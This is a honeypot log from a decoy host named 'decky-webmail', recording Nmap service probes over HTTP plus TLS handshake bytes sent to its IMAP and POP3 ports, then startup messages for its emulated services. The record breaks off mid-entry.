  <134>1 2026-04-08T03:05:15.796438+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'GET'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'GET'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.796615+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'Depth': '1', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Length': '0', 'Connection': 'close', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "PROPFIND", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Depth': '1', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Length': '0', 'Connection': 'close', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.796792+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/NmapUpperCheck1775617515" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "GET", "path": "/NmapUpperCheck1775617515", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.796942+00:00 decky-webmail http - request [decnet@55555 method="PLEU" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "PLEU", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.800994+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'POST'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'POST'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.801600+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/Nmap/folder/check1775617515" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "GET", "path": "/Nmap/folder/check1775617515", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.801764+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Content-Length': '0', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "POST", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Content-Length': '0', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.802586+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'PUT'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'PUT'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.802776+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/favicon.ico" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "GET", "path": "/favicon.ico", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.806571+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'DELETE'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'DELETE'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.807082+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'TRACE'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'TRACE'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.810761+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'OPTIONS'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'OPTIONS'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.813097+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'CONNECT'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'CONNECT'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.817009+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'PATCH'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'Origin': 'example.com', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close', 'Access-Control-Request-Method': 'PATCH'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T03:05:15.829131+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845325+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="���	�E����Q����P=�<��Ai�
  "]

fields:
  {"src": "192.168.1.5", "cmd": "\ufffd\u0014\u0000\ufffd\ufffd\t\ufffd\u0013\u0000E\u0000\ufffd\ufffd\ufffd\ufffdQ\u0000\ufffd\ufffd\ufffd\ufffdP\u0000=\u0000\ufffd\u0000<\u0000\ufffd\u0000\ufffd\u0000A\u0001\u0000\u0005i\ufffd\u0001\u0000\u0001\u0000\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845403+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="
  ���
  
  #
  (&				"]

fields:
  {"src": "192.168.1.5", "cmd": "\u0000\u001c\u0000\u001a\u0011\ufffd\u0011\ufffd\u0011\ufffd\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0001\u0000\u0001\u0001\u0001\u0002\u0001\u0003\u0001\u0004\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u0000(\u0000&\t\u0004\t\u0005\t\u0006\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845469+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="
  +-3����"]

fields:
  {"src": "192.168.1.5", "cmd": "\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0003\u0001\u0000+\u0000\u0005\u0004\u0003\u0004\u0003\u0003\u0000-\u0000\u0002\u0001\u0001\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffd"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845624+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="�y
  P�RG���fI��NY����ovpЈ�[:�G�����"]

fields:
  {"src": "192.168.1.5", "cmd": "\ufffdy\u000bP\ufffdRG\ufffd\ufffd\b\ufffdfI\ufffd\ufffdN\u0017Y\ufffd\ufffd\ufffd\ufffdovp\u0408\u0018\ufffd[:\ufffdG\ufffd\b\ufffd\ufffd\ufffd\ufffd"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.845689+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="	*�b/O��v�`x\";t$*;l�B\"��*�)��Ȣ�a�q��Ō��A��+��d��Ie�mÚ�{Q��y����24�~��V�`B�!��W\"��/zʿ(��f��	����8jU��Rw5�CR��4����"]

fields:
  {"src": "192.168.1.5", "cmd": "\u0015\t*\ufffdb/O\ufffd\ufffdv\ufffd`x\";t$*;l\ufffdB\"\ufffd\ufffd\u001b*\ufffd)\ufffd\u0013\ufffd\u0002\u0222\ufffda\u0011\ufffdq\ufffd\ufffd\u014c\ufffd\ufffdA\ufffd\ufffd+\ufffd\ufffdd\ufffd\ufffdIe\ufffdm\u00da\ufffd\u001b\u0000\u0019{Q\ufffd\ufffdy\ufffd\ufffd\ufffd\ufffd24\u0001\u001b\ufffd~\ufffd\ufffdV\ufffd`B\ufffd!\ufffd\ufffdW\"\ufffd\ufffd/z\u02bf\u0005(\ufffd\ufffdf\ufffd\b\ufffd\t\ufffd\ufffd\ufffd\ufffd8jU\ufffd\u0001\ufffdRw5\ufffdCR\ufffd\ufffd4\ufffd\u001a\ufffd\u0003\ufffd\ufffd"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.846888+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="�AU��`��R/S2��:�hB˦��Wz@%E��v\"c���mcW��Q{�Y_X
  ��mz"]

fields:
  {"src": "192.168.1.5", "cmd": "\ufffdAU\ufffd\ufffd`\ufffd\u0003\u0006\ufffdR\b/S2\ufffd\ufffd:\u0015\ufffdhB\u02e6\u0012\ufffd\ufffdWz@%E\ufffd\u0007\ufffdv\"\u0016c\ufffd\ufffd\ufffdmcW\ufffd\u0017\u0011\ufffdQ\u0002{\ufffdY_X\u000b\ufffd\ufffdmz"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.846967+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="���?ʐ����'*U<w<�#u��"]

fields:
  {"src": "192.168.1.5", "cmd": "\u007f\ufffd\ufffd\ufffd?\u0290\ufffd\ufffd\ufffd\ufffd\u001b'*U<w<\ufffd#u\u0013\ufffd\ufffd\u0012"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847038+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="qT�D��%�ɴ�o�Z�H7Zҹ\\���*g�P~����^���^*�)9�8{jt�(stÓ@b�PWO�$�	�иn�	CqiC�TVlu��cK�Y3�IR5�P�
  �y��y���h�k���iB
  j"]

fields:
  {"src": "192.168.1.5", "cmd": "\u0010\u0018\u0013q\u0016T\ufffd\u0011D\ufffd\ufffd%\ufffd\u0274\u0018\ufffdo\ufffdZ\ufffdH7Z\u04b9\\\ufffd\ufffd\ufffd*g\ufffdP~\u0019\u001a\u001a\ufffd\ufffd\u007f\ufffd\ufffd^\ufffd\ufffd\ufffd^*\ufffd)\u0019\u00049\ufffd8{jt\ufffd(st\u00d3@b\ufffdPWO\ufffd\u007f$\ufffd\t\ufffd\u0438n\ufffd\tCqiC\ufffdTVlu\u0011\ufffd\ufffdcK\b\ufffdY3\ufffdIR5\ufffdP\ufffd\u001e\ufffdy\ufffd\ufffd\u0016y\ufffd\ufffd\b\ufffdh\ufffdk\u0000\ufffd\ufffd\ufffdiB\u001cj"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: imap
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.847363+00:00 decky-webmail imap - command [decnet@55555 src="192.168.1.5" cmd="WSi����iI��
  ,��R�?�g�{MG���Xӛ"]

fields:
  {"src": "192.168.1.5", "cmd": "\u0016\u0003\u0001\u0000W\u0001\u0000\u0000S\u0003\u0003i\ufffd\ufffd\ufffd\u0010\ufffd\u0007iI\ufffd\ufffd\u001e,\ufffd\ufffdR\ufffd?\ufffdg\ufffd{\u0004MG\ufffd\ufffd\ufffd\u0012X\u04db\u0000\u0000"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848356+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="
  +-3�����O����V�j!x[%�D��<��2�9��8M�Q��������es!?�7����j�
  	��6@"]

fields:
  {"src": "192.168.1.5", "cmd": "\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0003\u0001\u0000+\u0000\u0005\u0004\u0003\u0004\u0003\u0003\u0000-\u0000\u0002\u0001\u0001\u00003\u0004\ufffd\u0004\ufffd\u0011\ufffd\u0004\ufffd\u0001\ufffdO\ufffd\ufffd\ufffd\ufffdV\ufffdj!x[%\ufffdD\ufffd\ufffd\u0019<\ufffd\ufffd2\ufffd9\ufffd\ufffd8M\ufffdQ\ufffd\ufffd\u0005\u0018\u0017\ufffd\ufffd\ufffd\u0016\ufffd\ufffd\ufffdes!\u0006?\ufffd7\u0018\u0011\u0013\ufffd\ufffd\ufffd\ufffdj\ufffd\u001c\t\ufffd\ufffd6\u0016\u0017@"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848415+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="�
  �^V�l�
  �t݄�(e=I+'C��)���B��LH.	w_	ԝ��	�rN�
  ��1�Q-v���O�5�Fi.$��C/��ޢ5�~��RИu\"j�d4���[�!�"]

fields:
  {"src": "192.168.1.5", "cmd": "\ufffd\u000b\ufffd^V\ufffdl\ufffd\u001a\u001d\ufffdt\u0744\ufffd(e=I\u0003+'C\ufffd\ufffd)\ufffd\ufffd\ufffdB\ufffd\ufffdLH.\tw_\t\u051d\ufffd\ufffd\t\ufffdrN\ufffd\u000b\ufffd\ufffd\u00191\u0099\u000f\ufffdQ\u0016-v\ufffd\ufffd\ufffdO\ufffd5\ufffdFi.$\ufffd\u0000\ufffdC/\ufffd\u0011\ufffd\u07a25\ufffd\u0015~\ufffd\ufffdR\u0418u\"j\ufffdd4\ufffd\ufffd\ufffd[\ufffd!\ufffd"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848468+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="�E��F;�wn�i���Ta���G�vA��+�:�
  �:�a[��'8"]

fields:
  {"src": "192.168.1.5", "cmd": "\ufffdE\ufffd\ufffdF;\ufffdwn\ufffdi\ufffd\ufffd\ufffdTa\ufffd\ufffd\ufffdG\u0005\ufffdvA\ufffd\ufffd+\ufffd:\ufffd\r\ufffd\u0011:\ufffda[\ufffd\ufffd'8"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848594+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="'t�����>����iw�`�ɇ�eIh�TFf,'���a0'�n���kGc�
  !J3�v�j��2[��PP��:�z���*�����y,��ʞJ�[RX�A��`��!̓���+���kiޔ;,�8*ߡw���z�2�"]

fields:
  {"src": "192.168.1.5", "cmd": "\b't\u0000\ufffd\ufffd\ufffd\u0000\ufffd\ufffd\u001f>\ufffd\ufffd\ufffd\ufffdiw\ufffd`\ufffd\u0247\ufffdeIh\ufffdTFf,'\ufffd\ufffd\ufffda0'\ufffdn\ufffd\ufffd\u000e\ufffdkGc\ufffd\u001d!J\u000e3\ufffdv\ufffdj\ufffd\ufffd2[\ufffd\ufffdPP\ufffd\ufffd:\ufffdz\ufffd\ufffd\ufffd*\ufffd\ufffd\ufffd\ufffd\ufffdy,\ufffd\ufffd\u029eJ\ufffd\u001a[RX\ufffdA\ufffd\ufffd`\ufffd\ufffd!\u0313\ufffd\u0005\ufffd\ufffd+\ufffd\ufffd\ufffdk\u0011i\u0794\u0007;\u001b,\ufffd8*\u07e1w\ufffd\ufffd\ufffdz\ufffd\u00152\ufffd"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848649+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="1v�����:�5�VP�t�Ѳ��a[z�z�{B~cm�2Q,x>"]

fields:
  {"src": "192.168.1.5", "cmd": "\u001b1v\ufffd\ufffd\ufffd\u0010\ufffd\ufffd:\ufffd5\ufffdVP\ufffdt\ufffd\u0472\ufffd\ufffda[z\ufffdz\ufffd{B~cm\ufffd2Q,x>\u0016\u0004"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848705+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="-T�'��+$������,-Nѹ$v2���sĳ¶��B��%���Ĺ�9P�'%Q�p�qk�s/���@D8
  I|M�z�ທ疓�l�
  ��;
  �˪���E<�i�q�8?ͺ�?)^q0��J�#���u���F#\\b�|���{�"]

fields:
  {"src": "192.168.1.5", "cmd": "-T\ufffd'\ufffd\u007f\ufffd+$\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd,-N\u0479$v2\ufffd\ufffd\ufffd\u0016s\u0133\u00b6\ufffd\ufffdB\ufffd\ufffd%\ufffd\ufffd\ufffd\u0139\ufffd9P\ufffd'%Q\u0014\ufffdp\ufffdqk\ufffds/\ufffd\ufffd\ufffd\u001b@D8\fI|M\ufffdz\ufffd\u0e97\u7593\ufffdl\u0004\ufffd\u000b\ufffd\ufffd;\u001c\ufffd\u02ea\ufffd\ufffd\ufffdE<\ufffdi\ufffdq\ufffd8?\u037a\ufffd?)^q0\ufffd\ufffdJ\ufffd#\ufffd\ufffd\ufffd\u000eu\ufffd\ufffd\ufffdF#\\b\ufffd|\ufffd\ufffd\u0006\u0002\ufffd\u001f{\ufffd"}


timestamp: 2026-04-08 03:05:15
decky: decky-webmail
service: pop3
event_type: command
attacker_ip: 192.168.1.5
raw_line:
  <134>1 2026-04-08T03:05:15.848882+00:00 decky-webmail pop3 - command [decnet@55555 src="192.168.1.5" cmd="WSi��뎱sr�`	�B
  @�&��cG|$G�͒
  �/�"]

fields:
  {"src": "192.168.1.5", "cmd": "\u0016\u0003\u0001\u0000W\u0001\u0000\u0000S\u0003\u0003i\ufffd\ufffd\ub3b1sr\ufffd`\t\u007f\ufffdB\u000b@\ufffd&\ufffd\ufffdcG|$G\ufffd\u0352\r\ufffd/\ufffd\u0000\u0000"}


timestamp: 2026-04-08 03:29:47
decky: decky-webmail
service: smtp
event_type: startup
attacker_ip: Unknown
fields: {}
msg: SMTP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T03:29:47.393300+00:00 decky-webmail smtp - startup - SMTP server starting as decky-webmail


timestamp: 2026-04-08 03:29:47
decky: decky-webmail
service: pop3
event_type: startup
attacker_ip: Unknown
fields: {}
msg: POP3 server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T03:29:47.490394+00:00 decky-webmail pop3 - startup - POP3 server starting as decky-webmail


timestamp: 2026-04-08 03:29:47
decky: decky-webmail
service: imap
event_type: startup
attacker_ip: Unknown
fields: {}
msg: IMAP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T03:29:47.642795+00:00 decky-webmail imap - startup - IMAP server starting as decky-webmail


timestamp: 2026-04-08 03:29:47
decky: decky-webmail
service: http
event_type: startup
attacker_ip: Unknown
fields: {}
msg: HTTP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T03:29:47.694889+00:00 decky-webmail http - startup - HTTP server starting as decky-webmail


timestamp: 2026-04-08 04:18:50
decky: decky-webmail
service: http
event_type: startup
attacker_ip: Unknown
fields: {}
msg: HTTP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:18:50.195876+00:00 decky-webmail http - startup - HTTP server starting as decky-webmail


timestamp: 2026-04-08 04:18:50
decky: decky-webmail
service: imap
event_type: startup
attacker_ip: Unknown
fields: {}
msg: IMAP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:18:50.250767+00:00 decky-webmail imap - startup - IMAP server starting as decky-webmail


timestamp: 2026-04-08 04:18:50
decky: decky-webmail
service: pop3
event_type: startup
attacker_ip: Unknown
fields: {}
msg: POP3 server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:18:50.349723+00:00 decky-webmail pop3 - startup - POP3 server starting as decky-webmail


timestamp: 2026-04-08 04:18:50
decky: decky-webmail
service: smtp
event_type: startup
attacker_ip: Unknown
fields: {}
msg: SMTP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:18:50.507767+00:00 decky-webmail smtp - startup - SMTP server starting as decky-webmail


timestamp: 2026-04-08 04:19:42
decky: decky-webmail
service: snmp
event_type: startup
attacker_ip: Unknown
fields: {}
msg: SNMP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:19:42.933390+00:00 decky-webmail snmp - startup - SNMP server starting as decky-webmail


timestamp: 2026-04-08 04:19:43
decky: decky-webmail
service: rdp
event_type: startup
attacker_ip: Unknown
fields: {}
msg: RDP server starting as decky-webmail on port 3389
raw_line:
  <134>1 2026-04-08T04:19:43.015625+00:00 decky-webmail rdp - startup - RDP server starting as decky-webmail on port 3389


timestamp: 2026-04-08 04:21:14
decky: decky-webmail
service: vnc
event_type: startup
attacker_ip: Unknown
fields: {}
msg: VNC server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:21:14.872728+00:00 decky-webmail vnc - startup - VNC server starting as decky-webmail


timestamp: 2026-04-08 04:21:14
decky: decky-webmail
service: mysql
event_type: startup
attacker_ip: Unknown
fields: {}
msg: MySQL server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:21:14.922524+00:00 decky-webmail mysql - startup - MySQL server starting as decky-webmail


timestamp: 2026-04-08 04:21:30
decky: decky-webmail
service: tftp
event_type: startup
attacker_ip: Unknown
fields: {}
msg: TFTP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:21:30.999239+00:00 decky-webmail tftp - startup - TFTP server starting as decky-webmail


timestamp: 2026-04-08 04:21:31
decky: decky-webmail
service: snmp
event_type: startup
attacker_ip: Unknown
fields: {}
msg: SNMP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:21:31.045857+00:00 decky-webmail snmp - startup - SNMP server starting as decky-webmail


timestamp: 2026-04-08 04:31:57
decky: decky-webmail
service: imap
event_type: startup
attacker_ip: Unknown
fields: {}
msg: IMAP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:31:57.249873+00:00 decky-webmail imap - startup - IMAP server starting as decky-webmail


timestamp: 2026-04-08 04:31:57
decky: decky-webmail
service: pop3
event_type: startup
attacker_ip: Unknown
fields: {}
msg: POP3 server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:31:57.429939+00:00 decky-webmail pop3 - startup - POP3 server starting as decky-webmail


timestamp: 2026-04-08 04:31:57
decky: decky-webmail
service: smtp
event_type: startup
attacker_ip: Unknown
fields: {}
msg: SMTP server starting as decky-webmail
raw_line:
  <134>1 2026-04-08T04:31:57.529212+00:00 decky-webmail smtp - startup - SMTP server starting as decky-webmail


timestamp: 2026-04-08 04:31:57
decky: decky-webmail
